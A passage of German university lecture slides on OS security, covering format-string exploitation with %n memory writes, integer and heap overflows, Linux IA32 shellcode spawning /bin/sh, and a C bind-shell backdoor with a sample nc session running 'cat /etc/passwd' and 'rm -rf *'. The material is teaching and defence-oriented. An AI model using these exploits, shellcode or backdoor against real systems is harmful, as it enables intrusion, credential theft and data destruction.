08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x. The wrong way: bffff334.b7ff3de7.b80016a4.bffff750.78383025.3830252e.30252e78.252e7838.2e783830. 78383025.3830252e.30252e78.252e7838.2e783830.78383025.3830252e.30252e78.252e7838. 2e783830.78383025.3830252e.30252e78.252e7838.2e783830.78383025.3830252e.30252e78. 252e7838.2e783830.78383025.3830252e.30252e78.252e7838.2e783830.78383025.3830252e. 30252e78.252e7838.2e783830.78383025. [*] test_val @ 0x08049794 = -72 0xffffffb8 I Stack auslesbar 75 / 109 Gezieltes Auslesen einer Adresse deadbeef.c #include <stdio.h> int main(void) { printf ("\xef\xbe\xad\xde_%08x.%08x.%08x.%08x|%s|") ; return 0; } (im Datensegment) "\xef\xbe\xad\xde_%08x.%08x.%08x.%08x|%s|" SP += 4 Argument des printf()−Rufs fmt−string <RET> sfp FP Zeichenkette ab Adresse 0xdeadbeef wird mittels %s ausgegeben. local vars SP Low Abbildung: Zustand des Stacks nach Eintritt in printf() 76 / 109 Gezieltes Auslesen I %08x-Platzhalter bewegen SP so weit, bis fmt-string (1. Argument des printf()-Rufes) TOS ist I %s-Platzhalter gibt Zeichenkette aus, die durch TOS referenziert wird → Dump (im Beispiel) des Speicherinhalts ab Adresse 0xdeadbeef → beliebige Adressen als Zeichenketten-Dump auslesbar I Beendigung bei Lesen eines ’\0’-Bytes 77 / 109 Auslesen mittels fmt_vuln $ ./fmt_vuln ‘printf "\x89\xfd\xff\xbf"‘%x%x%x%x:%s: The right way: ýÿ¿%x%x%x%x:%s: The wrong way: ýÿ¿bffff3f4b7ff3de7b80016a4bffff810:PATH=/usr/local/bin: /usr/bin:/bin:/usr/bin/X11:/usr/games:~/bin:/opt/uClinux /bfin-elf/bin/:/opt/uClinux/bfin-uclinux/bin:/opt/uClinu x/bfin-linux-uclibc/bin: 78 / 109 Beschreiben beliebiger Adressen Idee: gleiche Technik wie beim Auslesen, jedoch Beschreiben mittels ’%n’-Platzhalter: $ ./fmt_vuln ‘printf "\x94\x97\x04\x08"‘%x.%x.%x.%x%n The right way: x.%x.%x.%x%n The wrong way: bffff3e4.b7ff3de7.b80016a4.bffff800 [*] test_val @ 0x08049794 = 39 0x00000027 Problem: geschriebener Wert hängt von Anzahl ausgegebener Zeichen ab Idee: Beeinflussung mittels Feldbreite-Option 79 / 109 Schreiben beliebiger Werte fmtstring-ex2.c #include <stdio.h> int main(void) { unsigned char canary[5]; unsigned char foo[4]; memset(foo, ’\x00’, sizeof(foo)); /* 0 before */ strcpy(canary, "AAAA"); printf("canary: %02x%02x%02x%02x\n", canary[0], canary[1], canary[2], canary[3]); /* 1 */ printf("%16u%n", 7350, (int*) &foo[0]); /* 2 */ printf("%32u%n", 7350, (int*) &foo[1]); /* 3 */ printf("%64u%n", 7350, (int*) &foo[2]); /* 4 */ printf("%128u%n", 7350, (int*) &foo[3]); /* 5 after */ printf("%02x%02x%02x%02x\n", foo[0], foo[1], foo[2], foo[3]); printf("canary: %02x%02x%02x%02x\n", canary[0], canary[1], canary[2], canary[3]); 80 / 109 Ablauf der Schreibzugriffe beim Schreiben beliebiger Werte [0] foo canary [1] [2] [3] [0] [1] [2] [3] [4] /* 0 */ 0x00 0x00 0x00 0x00 0x41 0x41 0x41 0x41 0x00 /* 1 */ 0x10 0x00 0x00 0x00 0x41 0x41 0x41 0x41 0x00 /* 2 */ 0x10 0x20 0x00 0x00 0x00 0x41 0x41 0x41 0x00 /* 3 */ 0x10 0x20 0x40 0x00 0x00 0x00 0x41 0x41 0x00 /* 4 */ 0x10 0x20 0x40 0x80 0x00 0x00 0x00 0x41 0x00 81 / 109 Anmerkungen I 1 Byte pro printf()-Aufruf geschrieben I unmittelbar davor befindliche 3 Bytes werden mit dieser Technik überschrieben (hier: Variable canary) I Voraussetzung: unausgerichteter Schreibzugriff möglich I in ein- und demselben Formatstring können offenbar nur aufsteigende Werte geschrieben werden (warum?) 82 / 109 Schreiben beliebiger Werte in einem Formatstring fmtstring-ex3.c #include <stdio.h> int main(void) { unsigned char canary[5]; unsigned char foo[4]; memset(foo, ’\x00’, sizeof(foo)); /* 0 before */ strcpy(canary, "AAAA"); printf("canary: %02x%02x%02x%02x\n", canary[0], canary[1], canary[2], canary[3]); /* 1-4 in one string */ printf("%16u%n%16u%n%32u%n%64u%n", 1 , (int*) &foo[0], 1, (int*) &foo[1], 1, (int*) &foo[2], 1, (int*) &foo[3]); /* 5 after */ printf("\nfoo: %02x%02x%02x%02x\n", foo[0], foo[1], foo[2], foo[3]); printf("canary: %02x%02x%02x%02x\n", canary[0], canary[1], canary[2], canary[3]); return 0; } 83 / 109 Schreiben ohne Monotonie I Subtraktion bei %n-Platzhalter unmöglich I Wert wrappt jedoch um (Byte) für das vorige Beispiel also printf("%128u%n%192u%n%224u%n%240u%n", 1 , (int*) & foo[0], 1, (int*) &foo[1], 1, (int*) &foo[2], 1, (int*) & foo[3]); , um 0x80402010 in die Variable foo zu schreiben 84 / 109 Schreiben ohne Monotonie, Beispiel 2 $ ./fmt_vuln ‘printf "\x94\x97\x04\x08JUNK\x95\x97\x04\x08 JUNK\x96\x97\x04\x08JUNK\x97\x97\x04\x08"‘%x%x%x%169x%n%23 9x%n%239x%n%239x%n The right way: JUNJUNJUN%x%x%x%169x%n%239x%n%239x%n%239x%n The wrong way: JUNJUNJUNbffff3b4b7ff3de7b80016a4 [*] test_val @ 0x08049794 = -1430532899 0xaabbccdd 85 / 109 Verwundbares Programm, die zweite fmtstring-ex1.c #include <stdio.h> int main(void) { char outbuf[512]; char buffer[512]; sprintf (buffer, "ERR Wrong command: %400s", user); sprintf (outbuf, buffer); return 0; } I durch Nutzung von % -Platzhaltern in user kann outbuf zum Überlauf gebracht werden I Beispiel: user = "%200d<nops><shellcode>" buffer = ERR Wrong Command: ... %200d<nops><shellcode> I klassischer Buffer Overflow möglich 86 / 109 Verwundbares Programm, die zweite fmtstring-ex1.c #include <stdio.h> int main(void) { char outbuf[512]; char buffer[512]; sprintf (buffer, "ERR Wrong command: %400s", user); sprintf (outbuf, buffer); return 0; } I durch Nutzung von % -Platzhaltern in user kann outbuf zum Überlauf gebracht werden I Beispiel: user = "%200d<nops><shellcode>" buffer = ERR Wrong Command: ... %200d<nops><shellcode> I klassischer Buffer Overflow möglich 87 / 109 Gegenmaßnahmen gegen Formatstring-Angriff I Niemals nutzergenerierte Zeichenketten als Formatstring interpretieren! I GCC kennt (neuerdings) verschiedene Schalter, die potentiell gefährliche printf()-Aufrufe entdecken: gcc -Wformat -Wformat-security fmt_vuln.c fmt_vuln.c: In function ’main’: fmt_vuln.c:22: warning: format not a string literal and no format arguments fmt_vuln.c:26: warning: format ’%08x’ expects type ’unsigned int’, but argument 2 has type ’int *’ 88 / 109 Formatstring-Angriffe Zusammenfassung Ziel: printf()-Familie Angriffsidee: I Manipulation des Formatstring (Anzahl und Art der Platzhalter) Formen des Angriffs: I Provokation eines Absturzes (DoS) I Ausspähen des Hauptspeichers I gezielte Schreibzugriffe mittels ’%n’-Platzhalter Im Gegensatz zum Buffer Overflow kann mittels Formatstring-Attacke eine beliebige Adresse manipuliert werden! Erster publizierter Angriff: http://seclists.org/bugtraq/1999/Sep/0328.html 89 / 109 Leseempfehlungen I Jon Erickson. Hacking: The Art of Exploitation. 2. Aufl. No Starch Press, 2008 I “Solar Designer”. Getting around non-executable stack (and fix). Mail to BugTraq Mailinglist. Aug. 1997 I “scut/team teso”. Exploiting Format String Vulnerabilities. Sep. 2001 I “gera” and “riq”. “Advances in format string exploitation”. In: Phrack 11.59 (Juli 2002). URL: http: //www.phrack.org/issues/59/7.html#article 90 / 109 Heap-Overflow I Idee: Manipulation von auf dem Heap angelegten Variablen durch das Überfluten eines unmittelbar davor gelegenen Puffers I keine Rückkehradresse → implizite Manipulation des Programmflusses unmöglich I Reihenfolge der Adressen abhängig von Allokationsreihenfolge I Exploit weniger regulär (abhängig vom Typ der manipulierten Information) 91 / 109 Integer-Overflow Idee: Überlauf des Zahlenbereichs von Integervariablen führt zu negativen Zahlen, die in Vergleichsoperationen und als Funktionsargumente unterschiedlich interpretiert werden. I kein Schadcode ausführbar I Ziel: DoS Literatur: “blexim”. “Basic Integer Overflows”. In: Phrack 11.60 (Dez. 2002). URL: http: //www.phrack.org/issues/60/10.html#article 92 / 109 Integer-Overflow Beispiel int copybuffer (char *buffer, int len) { char mybuffer[800]; if (len > sizeof(mybuffer)) { return -1; } return memcpy(mybuffer, buffer, len); } Typisches Beispiel eines Vorzeichen-Bugs Analyse: I memcpy erwartet unsigned int als 3. Parameter I negatives len durch Test nicht erkannt I → wird als (sehr große) Längenangabe interpretiert I Überlauf von mybuffer 93 / 109 Angriffscode 94 / 109 Shellcode Motivation „The best way to develop your skill in detecting and securing against shellcode is to first master the art of writing it.“ (Foster, S. 56) Literatur: I James C. Foster u. a. Buffer Overflow Attacks. Syngress, Feb. 2005, Chapter 3 I Chris Anley u. a. The Shellcoder’s Handbook. 2. Aufl. Wiley, Aug. 2007 I “smiler”. The Art of Writing Shellcode. o. J. I http://www.shell-storm.org/shellcode/ 95 / 109 Shellcode – Merkmale I = Code, der in ein Programm (nachträglich und illegal) eingefügt und ausgeführt wird I Angriffscode für verschiedene Attacken I in Assembler programmiert (Warum?) I sehr klein (Size matters!) I effizient I sehr system- und architekturspezifisch I Einsatz von Systemrufen oder libc-Funktionen I keine Fehlerprüfung: entweder es geht oder nicht (hier: Beschränkung auf IA32 unter Linux ; die Prinzipien unter Windows differieren teilweise erheblich, vgl. Anley at al) 96 / 109 Systemruf I BS bietet dem Programmierer Funktionen, diese werden über Systemrufe zur Verfügung gestellt I Gesamtheit aller Systemrufe eines BS ist dessen Application Programmer’s Interface (API) I Nutzung analog den Funktionen einer Bibliothek mit einem Unterschied: Diensterbringung erfolgt im Kernel Mode I → gewöhnlicher Funktionsaufruf als Mechanismus unbrauchbar! I Systemrufe können blockieren! I Beispiele: fork(), read(), mmap(), semget() 97 / 109 Prinzip eines Systemrufs User Mode Applikation Kernel Mode Betriebssystem f Systemru System− dienst 98 / 109 Prinzipieller Ablauf beim Systemruf read() count = read(fd, buffer, nbytes); user space return to caller library call TRAP into kernel 5 put # for read in register 10 4 11 9 adjust stack 6 call read kernel space dispatch syscall 3 push fd 2 push &buffer 1 push nbytes 7 user program 8 syscall handler 99 / 109 Ablauf von WriteFile() in Windows 2000/XP/Vista Win32 application Call WriteFile(...) KERNEL32.DLL Call NtWriteFile() Return to Caller NtWriteFile() in NTDLL.DLL int 0x2e Return to Caller WriteFile() in Win32− specific Used by all subsystems User Mode Kernel Mode Software Interrupt SystemService in NTOSKRNL.EXE NtWriteFile() in NTOSKRNL.EXE Call NtWriteFile() Dismiss Interrupt Do the Operation Return to Caller (David Solomon: Inside Windows 2000, Microsoft Press) 100 / 109 Was geschieht bei einem Linux-Systemruf? Architektur: IA32 (aka Intel-PC) I Systemrufnummer in EAX I Argumente in EBX, ECX, EDX, ESI, EDI, EBP (in dieser Reihenfolge) I Systemeintritt durch int 0x80 I (Systemdienst wird im Kernelmode ausgeführt) I Resultatwert in EAX I Systemaustritt mittels iret Systemrufnummern: http://asm.sourceforge.net/syscall.html 101 / 109 Beispiel robge@hadrian:~$ cat exit.c #include <stdlib.h> int main(void) { exit(0); } robge@hadrian:~$ gcc -static -o exit exit.c robge@hadrian:~$ objdump -d exit ... 0804db7c <_exit>: 804db7c: 8b 5c 24 04 mov 0x4(%esp),%ebx 804db80: b8 fc 00 00 00 mov $0xfc,%eax 804db85: cd 80 int $0x80 804db87: b8 01 00 00 00 mov $0x1,%eax 804db8c: cd 80 int $0x80 804db8e: f4 hlt 804db8f: 90 nop ... 102 / 109 „Hello, world!“ als Shellcode .text .global _start _start: xorl %eax, %eax xorl %ebx, %ebx xorl %edx, %edx jmp string /* push string addr */ code: pop %ecx movb $01, %bl movb $15, %dl movb $04, %al int $0x80 decb %bl movb $01,%al int $0x80 /* /* /* /* ecx <-- string addr */ filedesc, stdout */ string lgth */ ’write(stdout, addr, lgth)’ */ /* ’exit(0)’ */ string: call code .ascii "Hello, world!\x0a\x00" 103 / 109 Beispiel: Aufruf einer Shell I „Klassiker“, tausende Varianten I nutzen typischerweise execve in folgender Manier: # i n c l u d e < s t d i o . h> i n t main ( v o i d ) { char ∗cmd = "/bin/sh" ; char ∗ args [ 2 ] ; args [ 0 ] = "robixd" ; args [ 1 ] = NULL ; execve ( cmd , args , NULL ) ; } 104 / 109 Aufruf einer Shell Nachbau in Assembler .text .global _start _start: jmp callit doit: popl %ebx xorl %eax, %eax cdq movb %al, 7(%ebx) movl %ebx, 8(%ebx) movl %eax, 12(%ebx) leal 8(%ebx),%ecx movb $0x0b, %al int $0x80 /*1* ebx <-- &"/bin/sh" */ /* eax <-- 0 */ /* edx:eax <-- eax */ /*2* zeroterminate "/bin/sh" */ /*3* args[0] = &"/bin/sh" */ /*4* args[1] = NULL */ /*5* ecx <-- &args */ /* execve() */ callit: call doit .ascii "/bin/sh" 105 / 109 Bindung der Shell an einen Port Implementierung in C # i n c l u d e < n e t i n e t / i n . h> i n t soc , c l i ; s t r u c t s o c k a d d r _ in serv_addr ; i n t main ( ) { serv_addr . s i n _ f a m i l y =2; serv_addr . s i n _ a d d r . s_addr =0; serv_addr . s i n _ p o r t =0xAAAA ; soc= s o c k e t ( 2 , 1 , 0 ) ; b i n d ( soc , ( s t r u c t sockaddr ∗ )&serv_addr , 0 x10 ) ; l i s t e n ( soc , 1 ) ; c l i = accept ( soc , 0 , 0 ) ; dup2 ( c l i , 0 ) ; dup2 ( c l i , 1 ) ; dup2 ( c l i , 2 ) ; execve ( "/bin/sh" , 0 , 0 ) ; } 106 / 109 „Anwendungsbeispiel“ für Bindshell robge@idir:~$ nc 192.168.178.21 43690 cat /etc/passwd root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh ... rm -rf * ... exit I dup2() ersetzt die stdin, stdout und stderr mit cli I Achtung! Das ist eine Backdoor. I Syscall-Folge: socket() → bind() → listen() → accept() → dup2() (3x) →execve() I benötigt < 100 Bytes in Assembler (!) 107 / 109 Weiterführende Aspekte I Reverse Connection Shellcode – angegriffener Rechner initiiert Verbindung I Socket Reusing – Erraten des Filedeskriptors eines bereits im angegriffenen Programm eröffneten Sockets und Nutzung desselben I Shellcode, der toupper() oder tolower() unbeschadet übersteht I Windows-Shellcode I Encoding Shellcode I Shellcode für mehrere Systeme (z. B. Linux und *BSD) 108 / 109 Was haben wir gelernt? I Grundbegriffe der BS-Sicherheit I (sichere) Implementierung von Authentifizierungsmechanismen I Buffer Overflow und Gegenmaßnahmen: Stackguard, Stackshield, W⊕X, ASLR I Return-into-Libc-Exploit I Format-String-Attacken I Was ist eine Bindshell? I Fazit: Das ist erst der Anfang der Thematik! 109 / 109